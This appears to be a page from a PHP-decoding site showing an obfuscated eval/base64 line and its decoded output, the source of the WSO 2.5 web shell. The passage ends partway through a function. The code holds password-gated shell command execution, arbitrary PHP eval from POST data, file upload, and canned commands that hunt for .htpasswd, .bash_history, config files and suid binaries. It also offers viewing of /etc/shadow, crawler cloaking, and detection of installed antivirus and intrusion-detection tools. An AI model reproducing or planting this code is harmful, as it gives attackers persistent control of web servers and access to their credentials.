Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php echo eval(base64_decode(str_replace('*','a',str_replace('%','B',str_replace('~','F'..

Decoded Output download

None$__authentication_pass = "52b1d005abc139cc281a32d8aa7cd1c2";
$color = "#df5";
$__default__action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if (!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}
@ini_set('error_log', NULL);
@ini_set('log_errors', round(0));
@ini_set('max_execution_time', round(0));
@set_time_limit(round(0));
@set_magic_quotes_runtime(round(0));
@define('WSO_VERSION', '2.5');
if (get_magic_quotes_gpc()) {
    function /* <David Blaine>: ,   ... */
    _WSO__stripslashes($array)
    {
        return /* <Peter>: !! */
            is_array($array) ? array_map('_WSO__stripslashes', $array) : stripslashes($array);
    }

    $_POST = _WSO__stripslashes($_POST);
    $_COOKIE = _WSO__stripslashes($_COOKIE);
}
function /* <Avon>: , ,  , ! */
__wsoLogin()
{
    die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function /* <David Blaine>:   ,  . */
__WSO__setcookie($k, $v)
{
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if (!empty($__authentication_pass)) {
    if (isset($_POST['pass']) && (md5($_POST['pass']) == /* <David Blaine>:     ? */
            $__authentication_pass)
    ) __WSO__setcookie(md5($_SERVER['HTTP_HOST']), $__authentication_pass);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != /* <Avon>:   ,  -? , ! */
            $__authentication_pass)
    ) __wsoLogin();
}
if (strtolower(substr(PHP_OS, round(0), round(0 + 1 + 1 + 1))) == /* <Peter>:    , ,   , ! */
    "win"
) $os = 'win'; else /* <David Blaine>:    ? */
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if (!$safe_mode) error_reporting(round(0));
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if (isset($_POST['c'])) @chdir($_POST['c']);
$cwd = @getcwd();
if ($os /* <Peter>:     ! */
    == /* <Avon>:    ,     . */
    'win'
) {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if ($cwd[strlen($cwd) - round(0 + 1)] != /* <David Blaine>:   ? */
    '/'
) $cwd /* <Avon>:    ,     ! */
    .= /* <Peter>:  ! */
    '/';
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if ($os /* <David Blaine>: ...   ,      ,  ? */
    == /* <Avon>: ,  ! */
    'win'
) $aliases = array("List Directory" => /* <Avon>:  !! */
"dir", "Find index.php in current dir" => /* <Peter>:   ! */
"dir /s /w /b index.php", "Find *config*.php in current dir" => /* <Peter>: ,   -, ?! */
"dir /s /w /b *config*.php", "Show active connections" => /* <Avon>:   ? */
"netstat -an", "Show running services" => /* <Peter>: ,   ,   ,    ?   ,   !   , ! */
"net start", "User accounts" => /* <Avon>:   48 , ,    !  ? */
"net user", "Show computers" => /* <Peter>: ,    ! */
"net view", "ARP Table" => /* <Avon>:   ??? ? */
"arp -a", "IP Configuration" => /* <Peter>:    !!! */
"ipconfig /all"); else /* <Avon>:     ! */
$aliases = array("List dir" => /* <Peter>:    ! */
"ls -lha", "list file attributes on a Linux second extended file system" => /* <Avon>: ,   ,  ! */
"lsattr -va", "show opened ports" => /* <Peter>: , , ? */
"netstat -an | grep -i listen", "process status" => /* <Avon>:  ,      ! */
"ps aux", "Find" => /* <David Blaine>: . ,   ? */
"", "find all suid files" => /* <Peter>:    ! ,   ?  - ! */
"find / -type f -perm -04000 -ls", "find suid files in current dir" => /* <David Blaine>:  ?  -  ? */
"find . -type f -perm -04000 -ls", "find all sgid files" => /* <Peter>:   ?  , ? */
"find / -type f -perm -02000 -ls", "find sgid files in current dir" => /* <Peter>: !!! -! */
"find . -type f -perm -02000 -ls", "find config.inc.php files" => /* <Peter>: !!! ! ! ! */
"find / -type f -name config.inc.php", "find config* files" => /* <Peter>:   ?    ,   ? */
"find / -type f -name \"config*\"", "find config* files in current dir" => /* <Avon>:      ! */
"find . -type f -name \"config*\"", "find all writable folders and files" => /* <Peter>:   ,   ! */
"find / -perm -2 -ls", "find all writable folders and files in current dir" => /* <Avon>:  ,      ! */
"find . -perm -2 -ls", "find all service.pwd files" => /* <Peter>:    ,     , , ,    ! */
"find / -type f -name service.pwd", "find service.pwd files in current dir" => /* <David Blaine>:  -, , ,     -  ... */
"find . -type f -name service.pwd", "find all .htpasswd files" => /* <Peter>: ! */
"find / -type f -name .htpasswd", "find .htpasswd files in current dir" => /* <Avon>: , ,   ! */
"find . -type f -name .htpasswd", "find all .bash_history files" => /* <David Blaine>: ,   ,  ... */
"find / -type f -name .bash_history", "find .bash_history files in current dir" => /* <Avon>:    ! */
"find . -type f -name .bash_history", "find all .fetchmailrc files" => /* <Peter>: ,    ,   ,   . */
"find / -type f -name .fetchmailrc", "find .fetchmailrc files in current dir" => /* <Avon>:     ,   ! */
"find . -type f -name .fetchmailrc", "Locate" => /* <David Blaine>:   , ? */
"", "locate httpd.conf files" => /* <Peter>:     , , ,     ! */
"locate httpd.conf", "locate vhosts.conf files" => /* <Avon>: !  ! */
"locate vhosts.conf", "locate proftpd.conf files" => /* <Peter>: !! */
"locate proftpd.conf", "locate psybnc.conf files" => /* <Avon>:     ! */
"locate psybnc.conf", "locate my.conf files" => /* <Peter>: !!! */
"locate my.conf", "locate admin.php files" => "locate admin.php", "locate cfg.php files" => /* <Peter>:  , , ? ,    ,   ! */
"locate cfg.php", "locate conf.php files" => /* <Avon>:     !     - !     ?  ,   !  ,  ! */
"locate conf.php", "locate config.dat files" => /* <Peter>:      ! */
"locate config.dat", "locate config.php files" => /* <Avon>:      ! */
"locate config.php", "locate config.inc files" => /* <Peter>:    ,   ! */
"locate config.inc", "locate config.inc.php" => /* <David Blaine>: , , ,   ,   ... */
"locate config.inc.php", "locate config.default.php files" => /* <Peter>:   ,     ! */
"locate config.default.php", "locate config* files " => /* <David Blaine>: , , , , . , ! */
"locate config", "locate .conf files" => "locate '.conf'", "locate .pwd files" => /* <David Blaine>:        ,     . */
"locate '.pwd'", "locate .sql files" => /* <David Blaine>:       ,      . */
"locate '.sql'", "locate .htpasswd files" => /* <Peter>:    ? */
"locate '.htpasswd'", "locate .bash_history files" => /* <Avon>:     ! */
"locate '.bash_history'", "locate .mysql_history files" => /* <Peter>: ! ,   . */
"locate '.mysql_history'", "locate .fetchmailrc files" => /* <David Blaine>:   ? */
"locate '.fetchmailrc'", "locate backup files" => /* <Peter>:  , ... */
"locate backup", "locate dump files" => /* <Peter>:    ? */
"locate dump", "locate priv files" => /* <Avon>:    . */
"locate priv");
function /* <Peter>:      ,  ? */
wsoHeader()
{
    if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
    global /* <David Blaine>:    ? */
    $color;
    echo /* <Peter>:  . */
        "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
    <style>
        body{background-color:#444;color:#e1e1e1;}
        body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
        table.info{ color:#fff;background-color:#222; }
        span,h1,a{ color: $color !important; }
        span{ font-weight: bolder; }
        h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
        div.content{ padding: 5px;margin-left:5px;background-color:#333; }
        a{ text-decoration:none; }
        a:hover{ text-decoration:underline; }
        .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
        .bigarea{ width:100%;height:300px; }
        input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
        form{ margin:0px; }
        #toolsTbl{ text-align:center; }
        .toolsInp{ width: 300px }
        .main th{text-align:left;background-color:#5e5e5e;}
        .main tr:hover{background-color:#5e5e5e}
        .l1{background-color:#444}
        .l2{background-color:#333}
        pre{font-family:Courier,Monospace;}
    </style>
    <script>
        var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
        var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
        var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
        var p1_ = '" . ((strpos(@$_POST['p1'], "
") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
        var p2_ = '" . ((strpos(@$_POST['p2'], "
") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
        var p3_ = '" . ((strpos(@$_POST['p3'], "
") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
        var d = document;
        function set(a,c,p1,p2,p3,charset) {
            if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
            if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
            if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
            if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
            if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
            if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            d.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = 'ajax=true';
            for(i=0;i<d.mf.elements.length;i++)
                params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
            sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
        }
        function sr(url, params) {
            if (window.XMLHttpRequest)
                req = new XMLHttpRequest();
            else if (window.ActiveXObject)
                req = new ActiveXObject('Microsoft.XMLHTTP');
            if (req) {
                req.onreadystatechange = processReqChange;
                req.open('POST', url, true);
                req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
                req.send(params);
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } else alert('Request error!');
        }
    </script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
    <form method=post name=mf style='display:none;'>
        <input type=hidden name=a>
        <input type=hidden name=c>
        <input type=hidden name=p1>
        <input type=hidden name=p2>
        <input type=hidden name=p3>
        <input type=hidden name=charset>
    </form>";
    $freeSpace = @diskfreespace($GLOBALS['cwd']);
    $totalSpace = @disk_total_space($GLOBALS['cwd']);
    $totalSpace = $totalSpace ? $totalSpace : round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2);
    $release = @php_uname('r');
    $kernel = @php_uname('s');
    $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
    if (strpos('Linux', $kernel) !== /* <David Blaine>: ...   ,  ,    ' ,   '. */
        false
    ) $explink /* <Peter>:  ,  - ... */
        .= /* <David Blaine>:   ,  . */
        urlencode('Linux Kernel ' . substr($release, round(0), round(0 + 3 + 3))); else /* <Avon>: -  - ... */
    $explink /* <Peter>:    ,  ,  ...        .    - . */
        .= /* <Avon>:     . */
        urlencode($kernel . ' ' . substr($release, round(0), round(0 + 1.5 + 1.5)));
    if (!function_exists('posix_getegid')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(posix_geteuid());
        $gid = @posix_getgrgid(posix_getegid());
        $user = $uid['name'];
        $uid = $uid['uid'];
        $group = $gid['name'];
        $gid = $gid['gid'];
    }
    $cwd_links = '';
    $path = explode("/", $GLOBALS['cwd']);
    $n = count($path);
    for ($i = round(0); $i < $n - round(0 + 0.5 + 0.5); $i++) {
        $cwd_links /* <Peter>:     ,  ? */
            .= /* <Avon>:      . */
            "<a href='#' onclick='g(\"FilesMan\",\"";
        for ($j = round(0); $j <= $i; $j++) $cwd_links /* <David Blaine>: < :>   .    . */
            .= /* <Peter>:   !! */
            $path[$j] . '/';
        $cwd_links /* <Avon>:     ?!!!! */
            .= /* <Avon>:       !! */
            "\")'>" . $path[$i] . "/</a>";
    }
    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
    $opt_charsets = '';
    foreach ($charsets /* <Peter>:   !!! */
             as /* <Peter>:    ,    -, ?!!! */
             $item) $opt_charsets /* <Avon>: ,  ! */
        .= /* <Peter>: ,   , ,      ,   , ! */
        '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
    $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
    if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
    $m['Self remove'] = 'SelfRemove';
    $menu = '';
    foreach ($m /* <Peter>:  ,     ,    ! */
             as /* <Peter>:  , !    ! */
             $k /* <Operator>:    ... */
    => /* <David Blaine>: ... */
             $v) $menu /* <Peter>:    ! */
        .= /* <Peter>:    !!! */
        '<th width="' . (int)(round(0 + 33.333333333333 + 33.333333333333 + 33.333333333333) / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
    $drives = "";
    if ($GLOBALS['os'] == /* <=====end of part=====> */
        'win'
    ) {
        foreach (range('c', 'z') as /* <David Blaine>: ,   ... */
                 $drive) if (is_dir($drive . ':\')) $drives /* <David Blaine>: , ,   ,   */
            .= /* <Avon>: !! */
            '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
    }
    echo /* <David Blaine>:   ? */
        '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == /* <Peter>: ,  ! */
        'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), round(0), round(0 + 24 + 24 + 24 + 24 + 24)) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * round(0 + 20 + 20 + 20 + 20 + 20)) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function /* <Avon>: , !          !! */
wsoFooter()
{
    $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
    echo /* <Avon>:   ! */
        "
                                                                                                    </div>
                                                                                                    <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
                                                                                                        <tr>
                                                                                                            <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
                                                                                                            <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
                                                                                                        </tr><tr>
                                                                                                            <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
                                                                                                            <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
                                                                                                        </tr><tr>
                                                                                                            <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
                                                                                                            <td><form method='post' ENCTYPE='multipart/form-data'>
                                                                                                                    <input type=hidden name=a value='FilesMAn'>
                                                                                                                    <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
                                                                                                                    <input type=hidden name=p1 value='uploadFile'>
                                                                                                                    <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
                                                                                                                    <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
                                                                                                        </tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
    function /* <Peter>:  ! .  ,   , , .   ,   ! */
    posix_getpwuid($p)
    {
        return /* <Avon>: ..., ...   .   , ? */
            false;
    }
}
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
    function /* <David Blaine>:  .     ? */
    posix_getgrgid($p)
    {
        return /* <Peter>:  ?  ! */
            false;
    }
}
function /* <David Blaine>: , ...  , ? */
wsoEx($in)
{
    $out = '';
    if (function_exists('exec')) {
        @exec($in, $out);
        $out = @join("
", $out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in, "r"))) {
        $out = "";
        while (!@feof($f)) $out /* <Peter>: ?   !..   !!  ? */
            .= /* <Avon>:   ? */
            fread($f, round(0 + 204.8 + 204.8 + 204.8 + 204.8 + 204.8));
        pclose($f);
    }
    return /* <Peter>:    ,   -  ?? */
        $out;
}

function /* <David Blaine>:    . */
wsoViewSize($s)
{
    if (is_int($s)) $s = sprintf("%u", $s);
    if ($s /* <Avon>:       ? */
        >= /* <Peter>:    ,  ,   ?       !    ! */
        round(0 + 1073741824)
    ) return /* <Avon>:  .     ! - -,     ,  ? */
        sprintf('%1.2f', $s / round(0 + 214748364.8 + 214748364.8 + 214748364.8 + 214748364.8 + 214748364.8)) . ' GB'; elseif ($s /* <Avon>: , -   ,  ... ,     ,  !  ,  ! */
        >= /* <Peter>: ,       ,  - ,  ,  ,   ... */
        round(0 + 262144 + 262144 + 262144 + 262144)
    ) return /* <Peter>:    ,  ! ! */
            sprintf('%1.2f', $s / round(0 + 1048576)) . ' MB'; elseif ($s /* <Avon>:   ,      !    ! */
        >= /* <Peter>:   , ! */
        round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)
    ) return /* <Avon>: !   ... */
            sprintf('%1.2f', $s / round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)) . ' KB'; else /* <Peter>:  , -  ,       -!  !   !    ,      ,  ,  ! */
    return /* <David Blaine>:  , , .    :     ,    ,      . */
        $s . ' B';
}

function /* <Peter>:        ? ,    !   ! */
wsoPerms($p)
{
    if (($p & round(0 + 24576 + 24576)) == /* <Avon>: !  ! -  - ! */
        round(0 + 16384 + 16384 + 16384)
    ) $i = 's'; elseif (($p & round(0 + 13653.333333333 + 13653.333333333 + 13653.333333333)) == /* <Peter>:       ,   -?! */
        round(0 + 10240 + 10240 + 10240 + 10240)
    ) $i = 'l'; elseif (($p & round(0 + 6553.6 + 6553.6 + 6553.6 + 6553.6 + 6553.6)) == /* <Avon>:     ?   ??     -?!   !   !! ,    , ! */
        round(0 + 6553.6 + 6553.6 + 6553.6 + 6553.6 + 6553.6)
    ) $i = '-'; elseif (($p & round(0 + 12288 + 12288)) == /* <David Blaine>:  . . */
        round(0 + 4915.2 + 4915.2 + 4915.2 + 4915.2 + 4915.2)
    ) $i = 'b'; elseif (($p & round(0 + 8192 + 8192)) == /* <Peter>: ...... */
        round(0 + 4096 + 4096 + 4096 + 4096)
    ) $i = 'd'; elseif (($p & round(0 + 1638.4 + 1638.4 + 1638.4 + 1638.4 + 1638.4)) == /* <Avon>:   ?  - ... ?   !  ? */
        round(0 + 2730.6666666667 + 2730.6666666667 + 2730.6666666667)
    ) $i = 'c'; elseif (($p & round(0 + 1024 + 1024 + 1024 + 1024)) == /* <Peter>:    ,     ! */
        round(0 + 1365.3333333333 + 1365.3333333333 + 1365.3333333333)
    ) $i = 'p'; else /* <Avon>: ?      ! */
    $i = 'u';
    $i /* <Peter>:    ,  ,   ,   ! */
        .= (($p & round(0 + 128 + 128)) ? 'r' : '-');
    $i /* <Peter>:     !  ,  -...     ! */
        .= (($p & round(0 + 25.6 + 25.6 + 25.6 + 25.6 + 25.6)) ? 'w' : '-');
    $i /* <Avon>:      ? */
        .= (($p & round(0 + 64)) ? (($p & round(0 + 1024 + 1024)) ? 's' : 'x') : (($p & round(0 + 512 + 512 + 512 + 512)) ? 'S' : '-'));
    $i /* <Peter>:  ,   , ,    ,     ! */
        .= (($p & round(0 + 16 + 16)) ? 'r' : '-');
    $i /* <Peter>:     , ??! */
        .= (($p & round(0 + 4 + 4 + 4 + 4)) ? 'w' : '-');
    $i /* <Avon>:  ,   ! */
        .= (($p & round(0 + 2.6666666666667 + 2.6666666666667 + 2.6666666666667)) ? (($p & round(0 + 341.33333333333 + 341.33333333333 + 341.33333333333)) ? 's' : 'x') : (($p & round(0 + 256 + 256 + 256 + 256)) ? 'S' : '-'));
    $i /* <Peter>:    . */
        .= (($p & round(0 + 1 + 1 + 1 + 1)) ? 'r' : '-');
    $i /* <Avon>:  ? */
        .= (($p & round(0 + 1 + 1)) ? 'w' : '-');
    $i /* <Avon>:  ...     , , ! */
        .= (($p & round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) ? (($p & round(0 + 512)) ? 't' : 'x') : (($p & round(0 + 102.4 + 102.4 + 102.4 + 102.4 + 102.4)) ? 'T' : '-'));
    return /* <Peter>: , ,  ! , , ! - ! */
        $i;
}

function /* <Policeman>: <to operator>  . */
wsoPermsColor($f)
{
    if (!@is_readable($f)) return /* <Peter>:    ! */
        '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; elseif (!@is_writable($f)) return /* <Avon>:  ,   ,    ! */
        '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; else /* <Peter>:   - ! */
    return /* <Policeman>: -.  ,   ? */
        '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function /* <Avon>:   ,      ,   ,       , !   ,   ,  ? */
wsoScandir($dir)
{
    if (function_exists("scandir")) {
        return /* <Policeman>: ,   ... <to David Blayne> , ,      . */
            scandir($dir);
    } else {
        $dh = opendir($dir);
        while (false /* <Avon>: ! */
            !== ($filename = readdir($dh))) $files[] = $filename;
        return /* <Peter>:     ,       ,      !   ,       ,            !!! */
            $files;
    }
}

function /* <Avon>:   ! */
wsoWhich($p)
{
    $path = wsoEx('which ' . $p);
    if (!empty($path)) return /* <Peter>:   ! */
        $path;
    return /* <Avon>:        ,   ! */
        false;
}

function /* <Policeman>:  ...   .   . */
actionSecInfo()
{
    wsoHeader();
    echo /* <Peter>: ...r g u f a n... */
    '<h1>Server security information</h1><div class=content>';
    function /* <Avon>: Peter Peszynski */
    wsoSecParam($n, $v)
    {
        $v = trim($v);
        if ($v) {
            echo /* <Peter>:    ! */
                '<span>' . $n . ': </span>';
            if (strpos($v, "
") === /* <Peter>:   , ,      , ,  ,   ! */
                false
            ) echo /* <Avon>:     ! */
                $v . '<br>'; else /* <David Blaine>: <in the policeman's suit> ...  ,      ... */
            echo /* <Peter>:    ,   !!! */
                '<pre class=ml1>' . $v . '</pre>';
        }
    }

    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
    $temp = array();
    if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
    if (function_exists('mssql_connect')) $temp[] = "MSSQL";
    if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
    if (function_exists('oci_connect')) $temp[] = "Oracle";
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo /* <Peter>:   , !!!   ! */
    '<br>';
    if ($GLOBALS['os'] == /* <=====end of part=====> */
        'nix'
    ) {
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
        wsoSecParam('OS version', @file_get_contents('/proc/version'));
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
            echo /* <=====street magic=====> */
            '<br>';
            $temp = array();
            foreach ($userful /* <David Blaine>: ,   ... */
                     as /* <Peter>: !! */
                     $item) if (wsoWhich($item)) $temp[] = $item;
            wsoSecParam('Userful', implode(', ', $temp));
            $temp = array();
            foreach ($danger /* <Avon>: , ,  , ! */
                     as /* <David Blaine>:   ,  . */
                     $item) if (wsoWhich($item)) $temp[] = $item;
            wsoSecParam('Danger', implode(', ', $temp));
            $temp = array();
            foreach ($downloaders /* <David Blaine>:     ? */
                     as /* <Avon>:   ,  -? , ! */
                     $item) if (wsoWhich($item)) $temp[] = $item;
            wsoSecParam('Downloaders', implode(', ', $temp));
            echo /* <Peter>:    , ,   , ! */
            '<br/>';
            wsoSecParam('HDD space', wsoEx('df -h'));
            wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
            echo /* <David Blaine>:    ? */
            '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
            if (isset($_POST['p2'], $_POST['p3']) && /* <Peter>:     ! */
                is_numeric($_POST['p2']) && /* <Avon>:    ,     . */
                is_numeric($_POST['p3'])
            ) {
                $temp = "";
                for (; $_POST['p2'] <= /* <David Blaine>:   ? */
                       $_POST['p3']; $_POST['p2']++) {
                    $uid = @posix_getpwuid($_POST['p2']);
                    if ($uid) $temp /* <Avon>:    ,     ! */
                        .= /* <Peter>:  ! */
                        join(':', $uid) . "
";
                }
                echo /* <David Blaine>: ...   ,      ,  ? */
                '<br/>';
                wsoSecParam('Users', $temp);
            }
        }
    } else {
        wsoSecParam('OS Version', wsoEx('ver'));
        wsoSecParam('Account Settings', wsoEx('net accounts'));
        wsoSecParam('User Accounts', wsoEx('net user'));
    }
    echo /* <Avon>: ,  ! */
    '</div>';
    wsoFooter();
}

function /* <Avon>:  !! */
actionPhp()
{
    if (isset($_POST['ajax'])) {
        __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        eval($_POST['p1']);
        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
        echo /* <Peter>:   ! */
        strlen($temp), "
", $temp;
        exit;
    }
    if (empty($_POST['ajax']) && !empty($_POST['p1'])) __WSO__setcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', round(0));
    wsoHeader();
